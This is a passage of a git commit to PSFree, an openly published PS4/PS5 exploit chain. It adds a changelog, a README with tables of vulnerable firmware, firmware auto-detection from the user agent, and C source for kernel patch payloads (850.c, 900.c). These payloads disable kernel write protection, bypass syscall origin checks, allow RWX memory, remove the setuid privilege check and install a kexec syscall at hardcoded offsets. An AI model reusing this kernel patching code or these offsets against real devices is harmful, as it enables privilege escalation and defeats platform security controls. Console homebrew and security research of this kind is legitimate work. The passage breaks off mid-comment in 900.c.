Prep for multi-fw and publishing on GitHub
### Added - `.gitignore` for kpatch output - Auto detect console type and firmware in `config.mjs` - Used elsewhere to determine which offsets/patches/ROP chain are used - WIP: Add 8.50-9.60 support - All offsets found - Running into some issue here. Wiped out my JOP chains to redo them... ### Fixed - Call `lapse.mjs` rather than `code.mjs` - Makefile for kpatch builds all currently available ### Changed - Use relative locations rather than absolute - Changed kpatch binaries to just be shellcode vs full ELFs - 5,216 bytes to 257 bytes. - Build kpatch binaries with `-Os` rather than `-O` - 257 bytes to 233 bytes. - Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
This commit is contained in:
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
src/kpatch/*.bin
|
||||
src/kpatch/*.d
|
||||
src/kpatch/*.elf
|
||||
src/kpatch/*.o
|
||||
90
CHANGELOG.md
Normal file
90
CHANGELOG.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
## [1.5.1] - 2025-05-12
|
||||
|
||||
### Added
|
||||
|
||||
- `.gitignore` for kpatch output
|
||||
- Auto detect console type and firmware in `config.mjs`
|
||||
- Used elsewhere to determine which offsets/patches/ROP chain are used
|
||||
- **WIP:** Add 8.50-9.60 support
|
||||
- All offsets found
|
||||
- Running into some issue here. Wiped out my JOP chains to redo them...
|
||||
|
||||
### Fixed
|
||||
|
||||
- Call `lapse.mjs` rather than `code.mjs`
|
||||
- Makefile for kpatch builds all currently available
|
||||
|
||||
### Changed
|
||||
|
||||
- Use relative locations rather than absolute
|
||||
- Changed kpatch binaries to just be shellcode vs full ELFs
|
||||
- 5,216 bytes to 257 bytes.
|
||||
- Build kpatch binaries with `-Os` rather than `-O`
|
||||
- 257 bytes to 233 bytes.
|
||||
- Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
|
||||
|
||||
## [1.5.0](#) - 2025-05-08
|
||||
|
||||
### Added
|
||||
|
||||
- Lapse kernel exploit
|
||||
|
||||
### Fixed
|
||||
|
||||
- Rewrite PSFree exploit
|
||||
|
||||
## [1.4.0](#) - 2024-01-25
|
||||
|
||||
### Added
|
||||
|
||||
- Kernel patch payload for 8.0x
|
||||
|
||||
### Fixed
|
||||
|
||||
- Remove the risk of crashing from using the Chain classes
|
||||
- Remove the risk of crashing from using `make_buffer()`
|
||||
- (PS5 < 3.00) use valid config at `exploit.mjs:setup_ssv_data`
|
||||
|
||||
## [1.3.0](#) - ????-??-??
|
||||
|
||||
### Added
|
||||
|
||||
- ROP chain managers for 8.5x, 9.0x, 9.5x
|
||||
|
||||
### Fixed
|
||||
|
||||
- Improve the speed and reliability of the exploit (`exploit.mjs`)
|
||||
|
||||
### Removed
|
||||
|
||||
- Support for webkitgtk 2.34.4, see 1.0.0 for a working implementation
|
||||
|
||||
## [1.2.0](#) - 2023-12-03
|
||||
|
||||
## Added
|
||||
|
||||
- Support for PS4 6.00-6.20
|
||||
|
||||
## [1.1.0](#) - ????-??-??
|
||||
|
||||
### Added
|
||||
|
||||
- Support for running ROP chains (PS4 8.03)
|
||||
- Support for calling syscalls (PS4 8.03)
|
||||
|
||||
## [1.0.0](#) - ????-??-??
|
||||
|
||||
### Added
|
||||
|
||||
- Proof-of-concept code to gain arbitrary read/write (PS4 6.50-9.60/PS5 1.00-5.50)
|
||||
|
||||
[unreleased]: https://github.com/Al-Azif/psfree-lapse/compare/v1.5.1...HEAD
|
||||
[1.5.1]: https://github.com/Al-Azif/psfree-lapse/releases/tag/v1.5.1
|
||||
58
README.md
58
README.md
@@ -1,20 +1,50 @@
|
||||
# PSFree version 1.5.0
|
||||
# PSFree version 1.5.1
|
||||
|
||||
PSFree is a collection of exploits for the PS4 console. The main focus of the
|
||||
repo is for the PS4 but we try to make things portable to PS5.
|
||||
PSFree is a collection of exploits for the PS4 console. The main focus of the repo is for the PS4, but we try to make things portable to PS5.
|
||||
|
||||
* Exploits
|
||||
* PSFree: src/psfree.mjs
|
||||
* Lapse (kernel): src/scripts/lapse.mjs
|
||||
## Features
|
||||
|
||||
Donation (Monero/XMR):
|
||||
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
|
||||
* **Auto-detection:** Automatically detects console type and firmware version (via `src/config.mjs`).
|
||||
* **WebKit Exploit (PSFree):** Entry point via the console's web browser.
|
||||
* **Kernel Exploit (Lapse):** Escalates privileges to kernel level.
|
||||
* ~~Payload Loader: After successful kernel exploitation listens for a payload on port 9020.~~ **WIP**
|
||||
|
||||
# COPYRIGHT AND AUTHORS:
|
||||
AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group
|
||||
`anonymous`. We refer to anonymous contributors as "anonymous" as well.
|
||||
## Vulnerability Scope
|
||||
|
||||
| | PSFree | Lapse |
|
||||
|:--------------|:----------|:-----------|
|
||||
| PlayStation 4 | 6.00-9.60 | 1.01-12.02 |
|
||||
| PlayStation 5 | 1.00-5.50 | 1.00-10.01 |
|
||||
|
||||
## Supported by this Repository
|
||||
|
||||
This table indicates firmware versions for which the *current version* of this repository provides a functional and tested exploit chain.
|
||||
|
||||
| | PSFree | Lapse |
|
||||
|:--------------|:----------|:-----------|
|
||||
| PlayStation 4 | 8.00-8.03 | 8.00-8.03 |
|
||||
| PlayStation 5 | N/A | N/A |
|
||||
|
||||
*Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support.*
|
||||
|
||||
## TODO List
|
||||
|
||||
- [ ] Integrate payload loader (Test on 8.00-8.03)
|
||||
- [ ] Rewrite JOP chains in `rop/ps4/850.mjs`, `rop/ps4/900.mjs`, and `rop/ps4/950.mjs`
|
||||
- I scrapped the ones I had...
|
||||
- [ ] `lapse.mjs`: Just set the bits for JIT privs
|
||||
- [ ] `view.mjs`: Assumes PS4, support PS5 as well
|
||||
- [ ] Add PS5 support
|
||||
|
||||
## Copyright and Authors:
|
||||
|
||||
AGPL-3.0-or-later (see [LICENSE](LICENSE)). This repo belongs to the group `anonymous`. We refer to anonymous contributors as "anonymous" as well.
|
||||
|
||||
## Credits:
|
||||
|
||||
# CREDITS:
|
||||
* anonymous for PS4 firmware kernel dumps
|
||||
* Check the appropriate files for any **extra** contributors. Unless otherwise
|
||||
stated, everything here can also be credited to us.
|
||||
* Check the appropriate files for any **extra** contributors. Unless otherwise stated, everything here can also be credited to us.
|
||||
|
||||
## Donations
|
||||
|
||||
(Monero/XMR): **86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS**
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
* 1.5.0:
|
||||
* add Lapse kernel exploit
|
||||
* rewrite PSFree exploit
|
||||
|
||||
* 1.4.0:
|
||||
* add kernel patch payload for 8.0x
|
||||
|
||||
fixes:
|
||||
* remove the risk of crashing from using the Chain classes
|
||||
* remove the risk of crashing from using make_buffer()
|
||||
* (PS5 < 3.00) use valid config at exploit.mjs:setup_ssv_data
|
||||
|
||||
* 1.3.0:
|
||||
* improve the speed and reliability of the exploit (exploit.mjs)
|
||||
* add ROP chain managers for 8.5x, 9.0x, 9.5x
|
||||
* drop support for webkitgtk 2.34.4, see 1.0.0 for a working implementation
|
||||
|
||||
* 1.2.0:
|
||||
* add support for PS4 6.00-6.20
|
||||
|
||||
* 1.1.0:
|
||||
* add support for running ROP chains (PS4 8.03)
|
||||
* add support for calling syscalls (PS4 8.03)
|
||||
|
||||
* 1.0.0:
|
||||
* add proof-of-concept code to gain arbitrary read/write
|
||||
(PS4 6.50-9.60/PS5 1.00-5.50)
|
||||
@@ -1,16 +0,0 @@
|
||||
PS4/PS5 Firmware Series Convention
|
||||
|
||||
Convention used by this repo to refer to a set of firmwares.
|
||||
|
||||
The pattern X.Yx means X.Y0 <= firmware < (X + 1).V0. Y is either 0 or 5. V is
|
||||
5 if Y is 0, 0 if Y is 5.
|
||||
|
||||
examples:
|
||||
* 6.0x refer to 6.00 <= fw < 6.50.
|
||||
* 6.5x refer to 6.50 <= fw < 7.00.
|
||||
|
||||
The pattern X.xx means X.00 <= firmware < (X + 1).00.
|
||||
|
||||
examples:
|
||||
* 6.xx refer to 6.00 <= fw < 7.00.
|
||||
* 7.xx refer to 7.00 <= fw < 8.00.
|
||||
@@ -22,8 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
</head>
|
||||
<body>
|
||||
PSFree is an exploit chain for PS4 and PS5.<br>
|
||||
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br>
|
||||
PSFree's license is GNU-AGPL-3.0-or-later.<br>
|
||||
PSFree is free software. PSFree's license is GNU-AGPL-3.0-or-later.<br>
|
||||
Here is the source code of this program:<br>
|
||||
<br>
|
||||
HTML files:<br>
|
||||
@@ -31,11 +30,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<a href='./about.html' download>about.html</a><br>
|
||||
JavaScript files:<br>
|
||||
<table id="jslicense-labels1">
|
||||
<tr>
|
||||
<td><a href="./psfree.mjs">psfree.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./psfree.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./alert.mjs">alert.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
@@ -46,20 +40,50 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./config.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse.mjs">lapse.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./psfree.mjs">psfree.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./psfree.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./send.mjs">send.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./send.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./scripts/lapse.mjs">scripts/lapse.mjs</a></td>
|
||||
<td><a href="./lapse/ps4/800.mjs">lapse/ps4/800.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./scripts/lapse.mjs" download>download</a></td>
|
||||
<td><a href="./lapse/ps4/800.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/800.mjs">rop/800.mjs</a></td>
|
||||
<td><a href="./lapse/ps4/850.mjs">lapse/ps4/850.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/800.mjs" download>download</a></td>
|
||||
<td><a href="./lapse/ps4/850.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/852.mjs">lapse/ps4/852.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/852.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/900.mjs">lapse/ps4/900.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/900.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/903.mjs">lapse/ps4/903.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/903.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./lapse/ps4/950.mjs">lapse/ps4/950.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./lapse/ps4/950.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/chain.mjs">module/chain.mjs</a></td>
|
||||
@@ -72,9 +96,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="./module/int64.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/view.mjs">module/view.mjs</a></td>
|
||||
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/view.mjs" download>download</a></td>
|
||||
<td><a href="./module/mem.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
|
||||
@@ -82,9 +106,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="./module/memtools.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
|
||||
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/utils.mjs" download>download</a></td>
|
||||
<td><a href="./module/offset.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/rw.mjs">module/rw.mjs</a></td>
|
||||
@@ -92,25 +116,49 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<td><a href="./module/rw.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/offset.mjs">module/offset.mjs</a></td>
|
||||
<td><a href="./module/utils.mjs">module/utils.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/offset.mjs" download>download</a></td>
|
||||
<td><a href="./module/utils.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./module/mem.mjs">module/mem.mjs</a></td>
|
||||
<td><a href="./module/view.mjs">module/view.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./module/mem.mjs" download>download</a></td>
|
||||
<td><a href="./module/view.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/800.mjs">rop/ps4/800.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/800.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/850.mjs">rop/ps4/850.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/850.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/900.mjs">rop/ps4/900.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/900.mjs" download>download</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td><a href="./rop/ps4/950.mjs">rop/ps4/950.mjs</a></td>
|
||||
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
|
||||
<td><a href="./rop/ps4/950.mjs" download>download</a></td>
|
||||
</tr>
|
||||
</table>
|
||||
kpatch/ files:<br>
|
||||
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
|
||||
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
|
||||
<a href="./kpatch/800.c">kpatch/800.c</a><br>
|
||||
<a href="./kpatch/850.c">kpatch/850.c</a><br>
|
||||
<a href="./kpatch/900.c">kpatch/900.c</a><br>
|
||||
<a href="./kpatch/903.c">kpatch/903.c</a><br>
|
||||
<a href="./kpatch/950.c">kpatch/950.c</a><br>
|
||||
<a href="./kpatch/Makefile">kpatch/Makefile</a><br>
|
||||
<a href="./kpatch/80x.c">kpatch/80x.c</a><br>
|
||||
<a href="./kpatch/script.ld">kpatch/script.ld</a><br>
|
||||
<a href="./kpatch/types.h">kpatch/types.h</a><br>
|
||||
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
|
||||
fonts/ files:<br>
|
||||
<a href="./fonts/README.txt">fonts/README.txt</a><br>
|
||||
<a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br>
|
||||
<a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br>
|
||||
<a href="./fonts/README.txt">fonts/README.txt</a><br>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -66,5 +66,19 @@ export function set_target(value) {
|
||||
target = value;
|
||||
}
|
||||
|
||||
function get_target_from_ua(useragent) {
|
||||
const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/;
|
||||
const match = pattern.exec(useragent);
|
||||
if (!match) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (match[1] == '4') {
|
||||
return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`);
|
||||
} else if (match[1] == '5') {
|
||||
return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`);
|
||||
}
|
||||
}
|
||||
|
||||
export let target = null;
|
||||
set_target(0x800);
|
||||
set_target(get_target_from_ua(navigator.userAgent));
|
||||
|
||||
@@ -22,7 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
<style>
|
||||
@font-face {
|
||||
font-family: 'logging';
|
||||
src: url('fonts/LiberationMono-Regular.ttf');
|
||||
src: url('./fonts/LiberationMono-Regular.ttf');
|
||||
}
|
||||
#console {
|
||||
font-family: 'logging';
|
||||
@@ -37,5 +37,5 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
source code and license.<br>
|
||||
<pre id='console'></pre>
|
||||
</body>
|
||||
<script type='module' src='alert.mjs'></script>
|
||||
<script type='module' src='./alert.mjs'></script>
|
||||
</html>
|
||||
|
||||
@@ -15,6 +15,8 @@ GNU Affero General Public License for more details.
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.00, 8.01, 8.03
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
@@ -138,7 +140,7 @@ void do_patch(void) {
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x951c0, 0xC3C03148);
|
||||
write32(kbase, 0x951c0, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
178
src/kpatch/850.c
Normal file
178
src/kpatch/850.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 8.50, 8.52
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
|
||||
// ) {
|
||||
// goto do_syscall;
|
||||
// }
|
||||
//
|
||||
// do_syscall:
|
||||
// ...
|
||||
// lea rsi, [rbp - 0x78]
|
||||
// mov rdi, rbx
|
||||
// mov rax, qword [rbp - 0x80]
|
||||
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
|
||||
//
|
||||
// sy_call() is the function that will execute the requested syscall.
|
||||
write16(kbase, 0x4b5, 0x9090);
|
||||
write16(kbase, 0x4b9, 0x9090);
|
||||
write8(kbase, 0x4c2, 0xeb);
|
||||
|
||||
// patch sys_mmap() to allow rwx mappings
|
||||
|
||||
// patch maximum cpu mem protection: 0x33 -> 0x37
|
||||
// the ps4 added custom protections for their gpu memory accesses
|
||||
// GPU X: 0x8 R: 0x10 W: 0x20
|
||||
// that's why you see other bits set
|
||||
// ref: https://cturt.github.io/ps4-2.html
|
||||
write8(kbase, 0x826ea, 0x37);
|
||||
write8(kbase, 0x826ed, 0x37);
|
||||
|
||||
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
|
||||
//
|
||||
// this check is skipped after the patch
|
||||
//
|
||||
// if ((new_prot & current->max_protection) != new_prot) {
|
||||
// vm_map_unlock(map);
|
||||
// return (KERN_PROTECTION_FAILURE);
|
||||
// }
|
||||
write32(kbase, 0x14d6dd, 0);
|
||||
|
||||
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
|
||||
|
||||
// call ...
|
||||
// mov r14, qword [rbp - 0xad0]
|
||||
// cmp eax, 0x4000000
|
||||
// jb ... ; patch jb to jmp
|
||||
write8(kbase, 0x17c2f, 0xeb);
|
||||
// patch called function to always return 0
|
||||
//
|
||||
// sys_dynlib_dlsym:
|
||||
// ...
|
||||
// mov edi, 0x10 ; 16
|
||||
// call patched_function ; kernel_base + 0x951c0
|
||||
// test eax, eax
|
||||
// je ...
|
||||
// mov rax, qword [rbp - 0xad8]
|
||||
// ...
|
||||
// patched_function: ; patch to "xor eax, eax; ret"
|
||||
// push rbp
|
||||
// mov rbp, rsp
|
||||
// ...
|
||||
write32(kbase, 0x3ad040, 0xc3c03148);
|
||||
|
||||
// patch sys_setuid() to allow freely changing the effective user ID
|
||||
|
||||
// ; PRIV_CRED_SETUID = 50
|
||||
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
|
||||
// test eax, eax
|
||||
// je ... ; patch je to jmp
|
||||
write8(kbase, 0x22f3d6, 0xeb);
|
||||
|
||||
// overwrite the entry of syscall 11 (unimplemented) in sysent
|
||||
//
|
||||
// struct args {
|
||||
// u64 rdi;
|
||||
// u64 rsi;
|
||||
// u64 rdx;
|
||||
// u64 rcx;
|
||||
// u64 r8;
|
||||
// u64 r9;
|
||||
// };
|
||||
//
|
||||
// int sys_kexec(struct thread td, struct args *uap) {
|
||||
// asm("jmp qword ptr [rsi]");
|
||||
// }
|
||||
|
||||
// sysent[11]
|
||||
const size_t offset_sysent_11 = 0x10fc7d0;
|
||||
// .sy_narg = 6
|
||||
write32(kbase, offset_sysent_11, 6);
|
||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
|
||||
// .sy_thrcnt = SY_THR_STATIC
|
||||
write32(kbase, offset_sysent_11 + 0x2c, 1);
|
||||
|
||||
enable_cr0_wp();
|
||||
}
|
||||
178
src/kpatch/900.c
Normal file
178
src/kpatch/900.c
Normal file
@@ -0,0 +1,178 @@
|
||||
/* Copyright (C) 2024-2025 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
// 9.00
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
struct kexec_args {
|
||||
u64 entry;
|
||||
u64 arg1;
|
||||
u64 arg2;
|
||||
u64 arg3;
|
||||
u64 arg4;
|
||||
u64 arg5;
|
||||
};
|
||||
|
||||
void do_patch(void);
|
||||
void restore(struct kexec_args *uap);
|
||||
|
||||
__attribute__((section (".text.start")))
|
||||
int kpatch(void *td, struct kexec_args *uap) {
|
||||
do_patch();
|
||||
restore(uap);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void restore(struct kexec_args *uap) {
|
||||
u8 *pipe = uap->arg1;
|
||||
u8 *pipebuf = uap->arg2;
|
||||
for (size_t i = 0; i < 0x18; i++) {
|
||||
pipe[i] = pipebuf[i];
|
||||
}
|
||||
u64 *pktinfo_field = uap->arg3;
|
||||
*pktinfo_field = 0;
|
||||
u64 *pktinfo_field2 = uap->arg4;
|
||||
*pktinfo_field2 = 0;
|
||||
}
|
||||
|
||||
void do_patch(void) {
|
||||
// offset to fast_syscall()
|
||||
const size_t off_fast_syscall = 0x1c0;
|
||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
||||
|
||||
disable_cr0_wp();
|
||||
|
||||
// patch amd64_syscall() to allow calling syscalls everywhere
|
||||
|
||||
// struct syscall_args sa; // initialized already
|
||||
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
|
||||
// int is_invalid_syscall = 0
|
||||
//
|
||||
// // check the calling code if it looks like one of the syscall stubs at a
|
||||
// // libkernel library and check if the syscall number correponds to the
|
||||
// // proper stub
|
||||
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
|
||||
// || sa.code != (u32)(code >> 0x10)
|
||||
// ) {
|
||||
// // patch this to " = 0" instead
|
||||
// is_invalid_syscall = -1;
|
||||
// }
|
||||
write32(kbase, 0x490, 0);
|
||||
// these code corresponds to the check that ensures that the caller's
|
||||
// instruction pointer is inside the libkernel library's memory range
|
||||
//
|
||||
// // patch the check to always go to the "goto do_syscall;" line
|
||||
// void *code = td->td_frame->tf_rip;
|
||||
// if (libkernel->start <= code && code < libkernel->end
|
||||
// && is_invalid_syscall == 0
